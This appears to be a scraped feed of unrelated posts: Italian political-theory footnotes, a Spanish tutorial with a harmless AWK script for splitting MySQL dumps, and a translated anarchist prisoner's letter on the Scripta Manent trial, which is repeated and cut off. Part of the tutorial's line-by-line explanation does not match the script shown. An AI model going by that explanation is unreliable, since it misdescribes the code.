13 – Su questo specifico passaggio da potere costituente a potere costituito e sul tradimento degli ideali rivoluzionari, A. Negri ha scritto uno dei suoi lavori più riusciti: Il potere costituente. Saggio sulle alternative del moderno, Manifestolibri, 2002. In quest’opera, ripercorrendo le vicende delle quattro rivoluzioni che hanno segnato la storia dell’Occidente (inglese, americana, francese e russa), si mostrano i travagli a causa dei quali la spinta costituente, sempre profondamente democratica e libertaria, si è tradotta nell’instaurarsi di un nuovo potere statuale; in termini spinoziani, la potentia che si tramuta in potestas. Quest’opera è stata giustamente oggetto di un acceso dibattito teorico tra filosofia e scienza politica nel quale la necessità di una democrazia radicale, effettiva, diretta, è emersa come antidoto al ripiegamento dello slancio e della ragione rivoluzionaria in una ennesima forma-stato.
14 – Da qualche mese è uscita in Italia, per i tipi di Alegre, la traduzione del libro di Rodrigo Nunes del 2021 Né orizzontale né verticale – Una teoria dell’organizzazione politica. Si tratta di un’opera importante e, considerato anche il sottotitolo, ambiziosa, che ha il merito di affrontare il tema tabù e al contempo imprescindibile, in una prospettiva trasformativa, dell’organizzazione. L’autore nelle conclusioni dichiara esplicitamente che il libro intende assolvere anche a una funzione terapeutica nel senso che cerca di affrontare quello che definisce “il trauma dell’organizzazione” derivante dagli esperimenti falliti nel corso del XX secolo, in particolare il tradimento degli ideali della Rivoluzione del 1917 e la rivoluzione fallita del 1968. Al tentativo di elaborazione di questi traumi è dedicato il capitolo 2 del libro, titolato “Una o due melanconie?”, con riferimento a questi due determinanti frangenti storici del secolo scorso. Proprio a questo capitolo è dedicato l’articolo di Mario Sommella Oltre la melanconia di sinistra pubblicato nella rassegna di Rizomatica.
Data la rilevanza e corposità del testo di Nunes, mi riservo di trattarne in modo più approfondito in una futura occasione.
15 – Cfr. Benjamin H. Bratton The Stack: On Software and Sovereignty – Ed. MIT Press 2016
Ho richiamato e brevemente descritto quest’importante lavoro di Bratton in Fuori dal capitalocene. Dall’uomo indebitato all’uomo frugale.
16 – Cfr. Tiziana Terranova Red stack attack! Algoritmi, capitale e automazione del comune.
17 – Per una sintesi dell’acuminata e disincantata analisi dell’attuale stato di cose sviluppata da M. Lazzarato nei suoi più recenti lavori, rinvio alla lettura di un suo recente articolo dal titolo Gli Stati Uniti e il «capitalismo fascista» comparso sulla rivista on-line Machina.
#capitalismo #comune #dati #guerra #immateriale #imperialismo #keynes #lazzarato #Luxemburg #pellegrino #rivoluzione #stato #stiegler -
Tener un dump de las bases de datos es una buena practica, pero asumamos que de las dos formas, de guardar tus bases, elegiste la mas radical.
Introducción
Un respaldo regular te permite deshacer cambios en caso de que estés trasteando en tus sitios web, con lo que puedes ir probando loo que cause algún problema. Respaldos históricos de mas largo plazo también ayudan en caso de que no sepas cuando ha ocurrido algún cambio perjudicial en tu sitio, pero por el momento, yo ya te sugerí un sistema rápido para hacer respaldos de 7 dias. En ese articulo explicaba que se podía automatizar y toda la cosa, pero el resultado era un enorme archivo de dump, conteniendo todas las bases de datos que hayan en tu servidor en un solo enorme archivo.
El problema
Si bien un archivo único permite tener un punto de restauración general para todas tus web, también significa que es un bulto inmenso que no vas a poder controlar fácilmente. Mis sitios non son muy voluminosos, así que a lo mucho el dump completo solo alcanza los 270MB. No es algo complicado de almacenar ni distribuir, pero si que es una pesadilla para los editores de texto.
Al restaurar un volcado de base de datos, el interprete recorre todo el archivo indiscriminadamente, ejecutando todo lo registrado alli. Pero si solo quieres restaurar un solo archivo, probablemente esto sea «gastar pólvora en gallinazos» porque solo quieres restaurar una base de datos. Probablemente la mas pequeña incluso.
No intentes abrirlo desde la consola con un editor de texto. Se colgará tu equipo. Tampoco con un editor visual. Puedes arriesgarte con un editor SQL y tendrías mas suerte, pero es muy probable que se ponga lento y sea pesado de trabajar con el. Estarás sufriendo todo el rato e incluso los cambios mas ligeros pueden ser un tormento. Y lo peor es que modificar un dump de SQL puede provocar errores bien raros que te ahorrarías solo restaurando el volcado original. Lo que necesitas es una forma de recuperar solo la base de datos especifica que quieres restaurar.
La solución
Si eres tan noob como yo y llevaste al colapso tu computador intentando infructuosamente editar un mega archivo de texto, te recomiendo en cambio, la magia del AWK.
AWK es un lenguaje de programación y una herramienta de línea de comandos utilizada para procesar archivos de texto. Permite analizar y manipular datos basándose en patrones, procesando los archivos línea por línea y dividiéndolos en campos (columnas). Es muy útil para filtrar, transformar y generar informes a partir de datos estructurados. El nombre proviene de las iniciales de sus creadores: Alfred Aho, Peter Weinberger y Brian Kernighan.
Puedes usar AWK directo desde la consola, pero es mejor que guardes un script que tenga una logica que buscas de forma congruente. Te sugiero para eso, este script que mediante AWK separa un Dump total en diferentes archivos sql de cada una de las bases contenidas, asumiendo como separador «– Current Database».
Cuando encuentra una de estas líneas, extrae el nombre de la base de datos (dbname). Abre un nuevo archivo llamado nombre_de_la_bd.sql en el directorio especificado. Todas las líneas siguientes se escriben en ese nuevo archivo hasta que se encuentra la línea de cabecera de la próxima base de datos. Finalmente, tendrás un archivo SQL para cada base de datos en tu directorio de salida.
Para ejecutar este código, debes invocarlo de la siguiente manera:
./split_mysqldump.sh archivo_dump_maestro.sql directorio_salida🖕Recuerda que el nombre del archivo queda a tu criterio. En mi caso le puse split_mysqldump para sonar genial XD
1 2 3 4 5 6 7 8 9101112131415161718192021222324252627282930313233343536373839404142434445
#!/bin/bash# Script revisado para dividir un dump de multiples bases de datos en archivos individuales.# Uso: ./split_mysqldump_v2.sh <archivo_dump_maestro.sql> <directorio_salida>DUMP_FILE=$1OUTPUT_DIR=$2if [ -z "$DUMP_FILE" ] || [ -z "$OUTPUT_DIR" ]; then echo "Uso: $0 <archivo_dump_maestro.sql> <directorio_salida>" exit 1fi# Crear el directorio de salida si no existemkdir -p "$OUTPUT_DIR"echo "Directorio de salida: $OUTPUT_DIR"# Usar awk para procesar el archivo y redirigir a archivos individualesawk -v out_dir="$OUTPUT_DIR" ' /^-- Current Database: `[^`]+`/ { # Extraer el nombre de la base de datos match($0, /`[^`]+`/); dbname = substr($0, RSTART+1, RLENGTH-2); # Construir el nombre del archivo de salida output_file = out_dir "/" dbname ".sql"; # Imprimir mensaje de depuración en stderr (consola) print "-> Iniciando volcado para BD: " dbname " en " output_file > "/dev/stderr"; # Cerrar el archivo anterior si existe (para evitar problemas) if (current_file && current_file != output_file) { close(current_file); } current_file = output_file; } { # Escribir la línea actual en el archivo de la BD actual if (current_file) { print $0 >> current_file; } }' "$DUMP_FILE"echo "Proceso completado. Archivos individuales creados en: $OUTPUT_DIR"
Una vez que hayas conseguido tus archivos, usa tu comando para poder restaurar la base de datos que necesitas.
mysql -u [usuario] -p < nombre_de_tu_bd.sql🖕Usa mariadb en lugar de mysql si así tienes instalado.
Explicación
No te recomiendo agarrar y ejecutar códigos encontrados por internet. tampoco el mio, pero te ayudare a entender lo que estas ejecutando al menos, asi, puedes intentar construir uno propio. Pero al menos por experiencia propia, este código me funcionó a mi XD
awk -v out_dir=OUTPUT_DIR ...1. Inicialización y Variables de Entrada: El comando se ejecuta con awk. La opción-v out_dir=OUTPUT_DIRpasa una variable externa llamadaOUTPUT_DIR(que debe ser reemplazada por la ruta real del directorio de salida al ejecutar el comando) a la variable interna deawk out_dir.Current Database2. Patrón de Búsqueda:awkprocesa el archivo de entrada línea por línea. Este fragmento de texto(Current Database)actúa como un patrón. Cuando una línea del archivo de entrada coincide con este patrón (es decir, la línea contiene"Current Database"), se ejecutan las acciones dentro del bloque.match($0, /dbname/)3. Extracción del Nombre de la BD: Dentro del bloque de acción,match($0, /dbname/)busca la palabra «dbname» en la línea actual ($0). Esta función es parte del código de ejemplo que describes, aunque la lógica completa para extraer el nombre real de la BD de la línea suele ser más compleja (ej. usando expresiones regulares). Asumiendo que la línea contiene el nombre de la BD, la siguiente parte se encarga de aislarlo.dbname = substr($0, RSTART, RLENGTH)4. Almacenamiento del Nombre: Utiliza la función substr para extraer el nombre real de la base de datos de la línea actual.RSTARTyRLENGTHson variables especiales de awk que se establecen automáticamente por la función match y marcan el inicio y la longitud de la coincidencia encontrada.output_file = out_dir "/" dbname ".sql"5. Construcción del Nombre del Archivo: Se construye la ruta completa del archivo de salida combinando el directorio de salida(out_dir), el nombre de la base de datos (dbname) y la extensión .sql.print "Iniciando volcado para BD: " dbname " en " output_file > "/dev/stderr";6. Salida por pantalla: Muestra el resultado del script en la consola mediante el /dev/stderrif (current_file && current_file != output_file) close(current_file)7. Cierre del Archivo Anterior: Si ya se estaba escribiendo en un archivo anterior (current_file existe) y este es diferente al nuevo output_file, se cierra el archivo anterior para evitar problemas de escritura simultánea o corrupción de datos.current_file = output_file8. Actualización del Archivo Actual: La variable current_file se actualiza para apuntar al nuevo archivo de salida que se acaba de determinar.if (current_file) print $0 >> current_file9. Escritura de la Línea: Finalmente, si existe un archivo actual definido, la línea completa que se está procesando ($0) se escribe (con >>, que significa añadir al final o crear si no existe) en el current_file.Conclusión
Si usas Windows e intentas modificar el archivo dump sin cuidado, te encontraras con errores molestos de caracteres. esto es porque tienes que controlar la codificación de caracteres original y en windows se suele cambiar a la codificación que se usa alli. Puedes utilizar Notepad++ pues te dice la codificación y permite cambiar entre ellas, pero de todas formas puedes desbordar la memoria con un archivo de mas de 10mb, así que lo mejor es utilizar un script que separe las bases de datos o directamente exportar en bases individuales.
https://interlan.ec/2025/11/28/articulo-segmentar-dump-de-mysql/
#articulo #code2 #linux #mariadb #mysql #selfhosting #servidores #solucionDeProblemas #vps
-
Hemos revisado la traducción de Informativo Anarquista de este escrito de la compañera Anna Beniamino en previsión de la audiencia en Casación del próximo 24 de abril respecto al delito de «strage política» en el contexto del proceso Scripta Manent.
Puedes encontrar el original en La Nemesi.EL CARRUSEL DE LA REPRESIÓN
Casi ocho años después de las detenciones por Scripta Manent, por segunda vez el Tribunal de Casación, el 24 de abril de 2024, se pronunciará sobre el delito de «masacre política», ex art. 285 código penal, contra Alfredo y yo, último retazo del proceso (1), después de un carrusel de aplazamientos, recálculos y argucias represivo-jurisprudenciales (2).
Aunque la iteración del error anestesia el horror, y vivimos tiempos de múltiples horrores ostentosos y de anestesia total, creo que aún hay que decir algunas palabras sobre el intento de aniquilación en curso, sobre las reacciones, exitosas e intentadas. No tanto porque piense que esto pueda ser útil para nuestra suerte personal, sino por una forma de «romanticismo» obstinado que considera que el silencio y la resignación son letales siempre, y más aún en un juicio político.
No tengo ninguna inclinación a resignarme en silencio a la administración de «justicia» (como ocurre diariamente en las prisiones), ni a limitarme por la lógica de la reducción de daños (otra piedra angular de la supervivencia entre la cárcel y los tribunales), sino a desplazar la atención hacia las políticas represivas que subyacen a esto y a la capacidad real de reaccionar, de crear momentos de lucha y ruptura, de construir diques, individuales y colectivos, ante la arrogancia de la represión.
He hablado de error y de horror porque eso es lo que son en su esencia las políticas represivas, error y horror que se mezclan en el distorsionar completamente el porte teórico y práctico del enemigo [político], enterrándolo vivo y/o forzándolo al atrincheramiento de la defensa preventiva y de las reservas indias de la «contracultura» y de la búsqueda de la «indignación democrática» (que también es poco más que una reserva india, con un umbral de sensibilidad que es cada vez más una corteza irrompible para la mayoría), una estrategia que a corto plazo debilita la reactividad de los compañeros y compañeras enredados, más de lo que creen, en un sentimiento de inevitabilidad de los acontecimientos y de imposibilidad de construir reacciones.
Hace siete años pensaba que era posible tratar el proceso Scripta Manent como represión ordinaria, rebatiendo desde un punto de vista técnico, punto por punto, tanto los incidentes individuales como todo el constructo asociativo, dada la evidente fragilidad del castillo acusatorio. Un exceso de optimismo sobre la voluntad y las estrategias políticas en juego y una imperdonable miopía al no poner inmediatamente de relieve con más fuerza lo que estaba ocurriendo. Han sido «necesarios» 41 bis y cadena perpetua rondando para centrar las miradas y la atención.
Lejos de querer volver a caer en la retórica del «error judicial», del exceso, porque desde un punto de vista jurisprudencial y probatorio, fue precisamente eso lo que tuvieron que admitir a regañadientes algunos medios de comunicación mainstream (otros han continuado con la ‘monstrificación’) que, para justificar al anarquista en 41 bis, tenían que contextualizar con cierto embarazo los hechos y el personaje, además de situar el corazón del Estado, su seguridad –cuya puesta en peligro es precisamente lo que caracteriza a la «masacre política»– en un par de contenedores de basura explosionados a las 3 de la madrugada en el recinto amurallado de un cuartel, y tener que eludir con el mismo embarazo los demás fallos del guión ofrecido por la DNAA y la fiscalía de Turín.
Lejos del «error judicial», porque se trata de una voluntad precisa, con convergencias entre los castillos de naipes de las jefaturas de policía y las jaulas de cemento con vistas a cemento [*ndt1]: el componente episódico (la carrera del tal policía o magistrado, los medios de comunicación siempre listos para insuflar el nuevo peligro, la más burda propaganda) está ahí, pero fluye en una máquina bien engrasada que siempre necesita nuevas cabezas cortadas para ser exhibidas en los bastiones de la ley y el orden. Entonces, a veces, la máquina se atasca… y es deber y orgullo de todo antiautoritario hacer que se atasque.
En estos años de cárcel y juicios he tenido la oportunidad de experimentar en directo una serie de forzamientos lógicos y jurídicos que no creía posible concentrar en una sola operación, dándome cuenta igualmente de que es el modus operandi de la práctica entre fiscales y tribunales en la extensión de la legislación «especial», de «emergencial» a «cotidiana», de la antimafia y antiterrorismo: no ya una excepción, sino la gestión habitual que la DNAA aplicaba y aplica a los juicios contra la llamada delincuencia organizada extendida a los anarquistas y que la justicia en general aplica a aquellos segmentos de la oposición social y no aislada y fácilmente atacable homologación que aún expresan, aunque sea de forma germinal, la necesidad de recuperar las calles, la palabra y la dignidad de una oposición no negociada. Un ataque sinérgico –alimentado por un clima político no de un simple gobierno de derechas sino equivalente en los últimos gobiernos «políticos» o «técnicos» que quisieron definirse– contra los componentes no recuperables con fines electorales: en una bajada general del listón de lo que se puede castigar penalmente y la paralela subida de lo que se puede ‘monstrificar’ mediáticamente, pueden leerse las estrategias en implementadas y las resistencias a oponer.
En este sentido, creo que el escrito de Juan (3) es claro en captar lo positivo, cuando no la necesidad de frenarlo, además de las debidas cuestiones críticas y autocríticas del movimiento.
Sobre el constructo jurídico: castillos de naipes
Presentar al enemigo como un monstruo, eso es lo que ocurre; es praxis, no excepcionalidad. Ciertamente de forma más refinada en el caso de los juicios políticos, donde el enemigo interior debe ser esterilizado de cualquier empatía crítica/comunicativa, pero también ocurre en la tramitación de los juicios a los mundos y submundos maleantes donde se magnifican los crímenes y las amenazas. En los que los mismos «desventurados» primero son utilizados y engrosados un poco gracias a los «honores» criminales otorgados por las crónicas periodísticas, para luego ser triturados, compostados y destruidos en el circuito carcelario: traficantes callejeros transformados en capos del hampa, en una comedia de partes en la que se mezclan víctimas y verdugos, todos proclives al dios dinero.
En los últimos años el paraguas de la «lucha contra la mafia» se ha convertido en una útil cortina de humo para encubrir un contexto en el que la complicidad entre la política institucional y los intereses económicos gestionados con mano de obra ilegal es la práctica, e igualmente lo es deshacerse de la mano de obra agotada. Sobre esto se injertó la ampliación de la DNA a la DNAA, con la aplicación de estrategias y circuitos carcelarios similares. Poco importa que el número real de presos por delitos clasificados como terrorismo sea infinitesimal, el bombo mediático ha inflado la nueva pretensión de que «mafiosos y terroristas» sean recluidos en jaulas especiales.
Sobre los circuitos de detención: jaulas de cemento con vistas a cemento
El contexto mediático contribuye a crear un mecanismo de silencio/asentimiento en relación con las notas de prensa estatales y gubernamentales, hasta que se pueda oponer/imponer una narrativa diferente. Los medios de que disponemos son a menudo en dosis homeopáticas en comparación con la potencia de fuego mediática del enemigo, pero a veces eficaces.
Lo hemos experimentado durante la lucha para liberar a Alfredo del 41bis. Una lucha perdida en el objetivo concreto, donde hubo una «victoria moral» parcial, en el sentido de que se rompió el muro de silencio respecto a un circuito de tortura «blanca» en Italia, abriendo incluso grietas en la ‘monstrificación’ del enemigo [político del Estado – ndt] y la represión a los anarquistas, pero Alfredo sigue siendo un rehén en esas jaulas, en Bancali. En resumen, sigue siendo una lucha abierta. Y hay que reflexionar sobre ello.
Tras la huelga de hambre que duró hasta el umbral de la muerte y una vasta movilización, no sólo del área anarquista y precedida por una clara toma de posición pública de varios abogados (4) que impulsó incluso a las áreas más intimidadas del movimiento a exponerse, se produjo un cortocircuito informativo que dio algunos resultados, aunque los intentos más burdos de restaurar al monstruo sobrehumanizado no se hicieron esperar. En la mejor tradición periodística primero crear el personaje y luego desmembrarlo. En parte, no todo es salvable por muy arduo que sea el proceso de oposición.
Pocos meses después, también ha habido algún intento periodístico/editorial de historiar hechos e ideas de forma más honesta, aunque siempre trabajando sobre el guión de los informes policiales (que los historiadores y cronistas profesionales tienen el vicio de considerar como fuentes ciertas, cuando a veces lo son por meros datos de sucesos, a veces porque éstos también son sesgados o forzados, pero entonces se hunden en el abismo de la tergiversación funcional de biografías, ideas, citas, pensamiento político). Así, incluso en estos casos, la fuerza de una instancia de lucha colectiva e individual es sustituida por un personaje, el héroe único y testarudo, que al final resulta útil para descartar su porte ideal y práctico, vendiendo como romanticismo lo que es una lúcida, aunque amarga, lectura sin concesiones de la realidad.
Entre castillos de naipes y jaulas de hormigón: variables y constantes de la estrategia represiva
Ha habido un cambio de ritmo en Scripta Manent, tanto en el uso de los delitos como en los circuitos de detención. O mejor dicho, ha habido varios acelerones en los últimos años, con una serie de procesos contra el ámbito anarquista y antagonista, de los que las draconianas condenas en los juicios Scripta Manent y contra Juan en primera instancia a 28 años han sido el ejemplo más llamativo, con el concomitante peso del 41 bis encima. El delito de «masacre política» –un crimen-monstruo que con sólo pronunciarlo hace caer al interlocutor en un pozo negro de terror indiscriminado– asociado al 41 bis –el circuito infernal del supervillano– tenía probablemente por objeto anular cualquier tipo de reacción. Además, el cambio de ritmo con la condena por 270bis, asociación subversiva para la FAI, abrió a los anarquistas la «fruición» del delito de asociación con la consiguiente lectura distorsionada de las relaciones humanas y la solidaridad entre compañerxs.
Me explico: durante años me he enfrentado, junto con muchxs compañerxs, al intento de varios fiscales italianos, solos o con un propósito represivo común, de imputarme el delito de asociación, junto con otros anarquistas, empezando por el proceso Marini y así sucesivamente con operaciones que partiendo de periódicos anarquistas, utilizaban alguna acción como delito de finalidad y montaban la operación casi estacional. Con Scripta Manent, el delito de asociación con fines terroristas pasó como precedente judicial. Poco importa a estos efectos que Scripta Manent, tras los inicios de la megainvestigación, fuera capaz de endosárnosla –con un chapucerísimo sistema «conjuncional» de asociaciones a modo de “muñecas rusas” de actores desconocidos y, sobre todo, de «estructura» no detallada (5)– sólo a Alfredo, Nicola y a mí… sin embargo, sirve de precedente para una serie de operaciones posteriores en las que ni siquiera existe el esfuerzo de construir un relato verosímil entre hechos, periódicos… como en Scripta Scelera: el hecho de crear un periódico es suficiente para desencadenar el delito de asociación. La lógica represiva sobre los periódicos anarquistas ha pasado tout court [sin más – ndt] si dan la palabra a los compañeros encarcelados. La bajada del listón de la punibilidad puede leerse también en la «auto-adiestramiento», que de ser un delito inventado para reprimir el activismo y el proselitismo en internet del área islámica en el caso de individuos sueltos, pasa ahora a abarcar también el activismo antiautoritario, por mucho que sean fenómenos con fines y medios antitéticos. La sugestión del «lobo solitario» es válida y útil si el acusado está solo. Se utilizan entonces con profusión los delitos de «presunta peligrosidad» y ‘monstrificaciones’ preventivas para aplicar abundantes medidas de vigilancia especial.
Otro cambio de paso fue el intento de aplicar el 41bis al área anarquista. Antes de lo ocurrido con Alfredo hubo un intento preliminar de crear en L’Aquila una AS2 bajo gestión del GOM con tratamiento comparable al 41bis [*ndt2] (en una extensión de lo que ya se aplicaba a los presos clasificados como islámicos, primero en Badu ‘e Carros para las mujeres y en Rossano Calabro para los hombres). El intento fue frenado con una huelga de hambre conjunta de compañeras y compañeros entonces encarcelados en diversas prisiones y por diferentes investigaciones judiciales (6). Sin olvidar que el régimen del 41 bis nació como una suspensión especial y temporal, precedida por el artículo 90, que con medidas similares en los años 80 respondió a los levantamientos carcelarios, cristalizó como «baluarte» antimafia y luego se aplicó a los presos revolucionarios comunistas con renovaciones automáticas periódicas, y sigue siendo disuasorio y medio de presión. En resumen: usos diversificados según las necesidades… sucede tanto con los artículos del código penal como con las jaulas de hormigón.
Ahora bien, para no volver a caer en la mística paralizante de una máquina represiva que todo lo destruye con castigos ejemplares, desertización de las plazas y censura total, también hay que echar un vistazo a la capacidad real, que la hubo y la hay, de no dejarse arrinconar totalmente por ello. Al contrario, en algunos casos (y a un coste considerable o con la ligereza de la razón que sea) ha sido posible derribar la narrativa impuesta y construir algo nuevo. También en una inesperada convergencia de atenciones e intenciones que ha existido potencialmente y probablemente se ha apagado demasiado rápido en esa inconstancia que no sólo es prerrogativa de los movimientos sino costumbre generalizada.
Ciertamente no son tiempos de praderas en llamas, pero tampoco de bomberos y resignados. Hay un componente que resiste y persiste, pero sufre con demasiada frecuencia la fatiga moral de pensar que uno se pasa la vida luchando contra molinos de viento, ¡cuando también los vientos soplan en contra!
No creo en héroes ni en superhumanos, sino en la conciencia que mujeres y hombres deben construir, en que la lucha no es gratuita, que implica contragolpes y caídas, resistencias y oscilantes golpes de autoestima. Y que vale la pena, siempre y en cualquier caso, por la calidad de las relaciones que se construyen, no de supervivencia ideal sino de una vida mas real que nunca.
Anna Beniamino
Rebibbia, marzo de 2024Notas:
[1] Ver: https://ilrovescio.info/2022/11/07/scripta-manent-appunto/
[2] Si es necesario… un breve resumen:
– La apelación de 2020 había confirmado las condenas por 422 c. p. (masacre «común») –aunque el GIP ya lo había recalificado como 280 c. p.– para Alfredo y para mí y las condenas por 270 bis, reduciendo el tamaño de la asociación subversiva y liberando a 2 compañeros de la acusación de participación que había pasado en primera instancia. Otra contradicción entre las dos sentencias es la relativa a la incitación a cometer delitos por medio de revistas y blogs, desestimada en primera instancia y reconocida en segunda a 13 compañeros. Entre la masacre y los diversos delitos continuados, el segundo grado condenó a Alfredo a 20 años y a mí a 16 años y 6 meses.
– El Tribunal de Casación en julio de 2022 recalificó directamente (sin reenvío a apelación) el 422 c. p. en 285 c. p. (masacre «política») como delito penal, dejando cínicamente a los jueces de apelación bis la carga de recalcular la pena, que, siendo el 285 c. p. un delito de pena fija, hubiera sido cadena perpetua y 30 años.
– En la vista de apelación bis de diciembre de 2022 (a la que comparecimos, con Alfredo, en huelga de hambre contra el 41 bis y la cadena perpetua hostil) se aceptaron algunas de las cuestiones planteadas por la defensa, en particular las relativas a la no aplicación de circunstancias atenuantes a Alfredo, devolviendo la cuestión al Tribunal Constitucional, que contestó afirmativamente en mayo de 2022.
– En la vista de apelación de junio de 2022, siguiendo las instrucciones del Tribunal Constitucional, se fijaron las penas en 23 años para Alfredo y 17 años y 9 meses para mí.
– La Fiscalía de Turín recurrió ante el Tribunal de Casación contra la concesión a ambos del 311 c. p. (entidad menor del hecho) y contra la prevalencia de circunstancias atenuantes sobre la reincidencia concedida a Alfredo. La defensa recurrió de nuevo planteando una cuestión constitucional respecto a la pena fijada.[* ndt1] celdas de cemento con vistas a cemento se refiere a la disposición de las celdas de modo que sólo puede verse cemento, la llamada arquitectura vertical:
«… en una sección situada bajo tierra, sin ventanas, por lo tanto sin aire ni luz natural…espacios reducidos y dispuestos verticalmente de modo que la vista queda privada de cualquier horizonte… Esta estructura genera una sensación de opresión, de claustrofobia, de tortura sicológica…»[5] La misma sentencia del Tribunal Supremo de julio de 2022, tras años y años de juicio, liquida la asociación con unas pocas líneas que ni siquiera intentan justificar un esquema que pasa a mantenerse por si mismo, por el cual Alfredo, Nicola y yo seríamos «asociados de larga trayectoria que han ocupado altos cargos en la FAI», sin explicar en ningún sitio en qué se basa esta afirmación axiomática. Admitiendo manifiestamente las «problemáticas inmanentes» para «identificar, a partir de pruebas que han adoptado las morfologías más dispares, en los diferentes coeficientes de intensidad circunstancial escrutados, una célula subversiva estructurada en torno a tres núcleos subjetivos, fijados por objetivos comunes, recursos comunes, ideales comunes, métodos replicados, conocimientos compartidos, solidaridades manifestadas […]». Dicho en términos más toscos: son una célula subversiva porque son anarquistas que se conocen desde hace mucho tiempo. Y punto. La idea anarquista es el pegamento, la sustancia de la asociación.
[* ndt2] Condiciones de detención a las que estaban sometidas las compañeras:
– celdas individuales en la antigua sección del 41 bis femenino en la prisión de L’Aquila, con la ventanilla cerrada
– Cada día eran despertadas a las 7 de la mañana, a las 8 pasaban los carceleros a comprobar los barrotes, dos horas de patio por la mañana y dos por la tarde (solas)
– Todas las entradas y salidas de la celda controladas con detector de metales (las compañeras eran escaneadas doce veces al día), además de un registro completo diario.
– Solo una hora de socialización al día en una pequeño habitáculo.
– Control estricto de las pertenencias. Armario fuera de la celda con un máximo de 7 prendas, tres libros como máximo, control exhaustivo y recuento de las pertenencias cada vez que sacan o meten algo de la celda.
– Sin radio, y sin posibilidad de ver la hora en la televisión, por lo saber la hora era prácticamente imposible.
– Las carceleras eran del cuerpo del GOM, mujeres embrutecidas del cuerpo de la policía penitenciaria. En poco más de una semana recibieron nueve expedientes disciplinarios. Para hacerse una idea, uno por apoyar un pie en el cuartucho de socialización y otra por salir con un bolígrafo al patio.[6] Estas son las palabras con las que comenzó la huelga en mayo de 2019:
«Llevamos casi dos meses encerradas en la sección femenina AS2 de L’Aquila, a estas alturas son bien conocidas, aquí y fuera, las condiciones de detención derivadas de un reglamento que huele a 41bis suavizado.
Estamos convencidas de que no se puede ni se podrá exigir ninguna mejora, no sólo por cuestiones objetivas y estructurales de la sección amarilla (ex-41bis): toda la cárcel está destinada casi exclusivamente al régimen 41bis, por lo que ampliar un poco las mallas del reglamento de la sección nos parece de mal gusto e impracticable, dadas las condiciones aún más pesadas que se sufren a pocos pasos de aquí, no podemos dejar de pensar en cuántos y cuántas llevan años luchando acumulando informes y procesos penales. A esto hay que añadir el torpe intento del DAP de salir del paso creando una sección mixta anarcoislámica, lo que ha provocado una nueva prohibición de reunirse en la propia sección, con un aislamiento que continúa.
Hay condiciones carcelarias, comunes o especiales, aún peores que las de L’Aquila. Esta no es una buena razón para no oponerse a lo que imponen aquí.
No comeremos más de este pan: el 29 de mayo iniciaremos una huelga de hambre exigiendo el traslado de esta cárcel y el cierre de esta infame sección. Silvia y Anna».https://lucharcontrael41bis.noblogs.org/2024/04/22/anna-beniamino-el-carrusel-de-la-represion/
#AnnaBeniamino #cartas #regímenesDiferenciados #ScriptaManent #textos
-
Hemos revisado la traducción de Informativo Anarquista de este escrito de la compañera Anna Beniamino en previsión de la audiencia en Casación del próximo 24 de abril respecto al delito de «strage política» en el contexto del proceso Scripta Manent.
Puedes encontrar el original en La Nemesi.EL CARRUSEL DE LA REPRESIÓN
Casi ocho años después de las detenciones por Scripta Manent, por segunda vez el Tribunal de Casación, el 24 de abril de 2024, se pronunciará sobre el delito de «masacre política», ex art. 285 código penal, contra Alfredo y yo, último retazo del proceso (1), después de un carrusel de aplazamientos, recálculos y argucias represivo-jurisprudenciales (2).
Aunque la iteración del error anestesia el horror, y vivimos tiempos de múltiples horrores ostentosos y de anestesia total, creo que aún hay que decir algunas palabras sobre el intento de aniquilación en curso, sobre las reacciones, exitosas e intentadas. No tanto porque piense que esto pueda ser útil para nuestra suerte personal, sino por una forma de «romanticismo» obstinado que considera que el silencio y la resignación son letales siempre, y más aún en un juicio político.
No tengo ninguna inclinación a resignarme en silencio a la administración de «justicia» (como ocurre diariamente en las prisiones), ni a limitarme por la lógica de la reducción de daños (otra piedra angular de la supervivencia entre la cárcel y los tribunales), sino a desplazar la atención hacia las políticas represivas que subyacen a esto y a la capacidad real de reaccionar, de crear momentos de lucha y ruptura, de construir diques, individuales y colectivos, ante la arrogancia de la represión.
He hablado de error y de horror porque eso es lo que son en su esencia las políticas represivas, error y horror que se mezclan en el distorsionar completamente el porte teórico y práctico del enemigo [político], enterrándolo vivo y/o forzándolo al atrincheramiento de la defensa preventiva y de las reservas indias de la «contracultura» y de la búsqueda de la «indignación democrática» (que también es poco más que una reserva india, con un umbral de sensibilidad que es cada vez más una corteza irrompible para la mayoría), una estrategia que a corto plazo debilita la reactividad de los compañeros y compañeras enredados, más de lo que creen, en un sentimiento de inevitabilidad de los acontecimientos y de imposibilidad de construir reacciones.
Hace siete años pensaba que era posible tratar el proceso Scripta Manent como represión ordinaria, rebatiendo desde un punto de vista técnico, punto por punto, tanto los incidentes individuales como todo el constructo asociativo, dada la evidente fragilidad del castillo acusatorio. Un exceso de optimismo sobre la voluntad y las estrategias políticas en juego y una imperdonable miopía al no poner inmediatamente de relieve con más fuerza lo que estaba ocurriendo. Han sido «necesarios» 41 bis y cadena perpetua rondando para centrar las miradas y la atención.
Lejos de querer volver a caer en la retórica del «error judicial», del exceso, porque desde un punto de vista jurisprudencial y probatorio, fue precisamente eso lo que tuvieron que admitir a regañadientes algunos medios de comunicación mainstream (otros han continuado con la ‘monstrificación’) que, para justificar al anarquista en 41 bis, tenían que contextualizar con cierto embarazo los hechos y el personaje, además de situar el corazón del Estado, su seguridad –cuya puesta en peligro es precisamente lo que caracteriza a la «masacre política»– en un par de contenedores de basura explosionados a las 3 de la madrugada en el recinto amurallado de un cuartel, y tener que eludir con el mismo embarazo los demás fallos del guión ofrecido por la DNAA y la fiscalía de Turín.
Lejos del «error judicial», porque se trata de una voluntad precisa, con convergencias entre los castillos de naipes de las jefaturas de policía y las jaulas de cemento con vistas a cemento [*ndt1]: el componente episódico (la carrera del tal policía o magistrado, los medios de comunicación siempre listos para insuflar el nuevo peligro, la más burda propaganda) está ahí, pero fluye en una máquina bien engrasada que siempre necesita nuevas cabezas cortadas para ser exhibidas en los bastiones de la ley y el orden. Entonces, a veces, la máquina se atasca… y es deber y orgullo de todo antiautoritario hacer que se atasque.
